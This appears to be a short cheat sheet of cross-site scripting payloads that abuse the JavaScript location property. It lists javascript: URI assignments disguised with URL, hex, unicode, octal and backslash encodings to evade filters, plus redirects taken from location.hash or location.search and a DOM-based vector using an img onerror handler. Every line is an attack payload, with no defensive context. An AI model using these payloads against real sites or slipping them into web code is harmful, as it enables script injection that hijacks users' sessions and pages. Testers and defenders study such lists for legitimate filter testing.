XSS location

location="javascript:alert(1)"
location="javascript:alert%281%29" // urlencode
location="javascript:alert\x281\x29" //  hex
location="javascript:alert\u00281\u0029"  //  unicode
location="javascript:alert\501\51" //  oct
location="\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)"

location=location.hash.slice(1,)   //  #javascript:alert(1)
location=location.search.slice(1,) //  ?javascript:alert(1)

location="javascript:top+\/<img src=x onerror=alert(1)>\/.source" //  make dom base xss